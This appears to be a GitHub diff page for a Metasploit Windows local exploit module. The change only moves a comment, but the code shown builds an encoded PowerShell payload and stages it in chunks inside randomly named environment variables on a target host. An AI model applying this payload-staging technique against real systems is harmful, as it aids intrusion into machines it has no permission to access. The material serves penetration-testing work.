File tree Expand file tree Collapse file tree 1 file changed +3
-2
lines changed
modules/exploits/windows/local Expand file tree Collapse file tree 1 file changed +3
-2
lines changed Original file line number Diff line number Diff line change @@ -83,8 +83,7 @@ def run_host(server)
83
83
:encode_inner_payload => true ,
84
84
:use_single_quotes => true }
85
85
end
86
- # Get the PSH Payload and split it into bitesize chunks
87
- # 1024 appears to be the max value allowed in env vars
86
+
88
87
psh = cmd_psh_payload ( payload . encoded ,
89
88
payload_instance . arch . first ,
90
89
psh_options )
@@ -93,6 +92,8 @@ def run_host(server)
93
92
if load_extapi
94
93
exec_cmd = psh
95
94
else
95
+ # Get the PSH Payload and split it into bitesize chunks
96
+ # 1024 appears to be the max value allowed in env vars
96
97
print_status ( "[#{ server } ] Storing payload in environment variables" )
97
98
chunks = split_code ( psh , 1000 )
98
99
env_name = rand_text_alpha ( rand ( 3 ) +3 )
You can’t perform that action at this time.
0 commit comments